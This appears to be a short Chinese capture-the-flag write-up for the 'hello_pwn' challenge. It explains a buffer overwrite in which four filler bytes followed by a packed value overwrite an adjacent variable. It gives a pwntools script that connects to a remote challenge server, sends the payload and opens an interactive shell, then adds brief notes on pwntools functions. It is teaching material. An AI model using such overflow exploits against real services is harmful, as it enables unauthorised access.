正文
攻防世界 | hello_pwn
提示：扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
看样子是要让我们通过read(0, &unk_601068, 0x10uLL)，读入 unk_601068 将 dword_60106C 覆盖
6c-68=4,所以：
from pwn import *
io = remote("111.198.29.45",45604)
payload = "A"*4
payload += p64(1853186401)
io.sendline(payload)
io.interactive()
PS：
ASCII码：
- 一个英文字母（不分大小写）占一个字节的空间
db：
- 定义字节类型变量，一个字节数据占1个字节单元，读完一个，偏移量加1
PwnTools中的主要IO函数：
- sendline(data) : 发送一行数据，相当于在末尾加\n
- interactive() : 与shell交互
连接
- 远程：sh = remote("127.0.0.1",10001)
- 关闭连接：sh.close()
参考：
https://www.cnblogs.com/Ox9A82/p/5728149.html
http://brieflyx.me/2015/python-module/pwntools-intro/
https://pwntoolsdocinzh-cn.readthedocs.io/en/master/intro.html
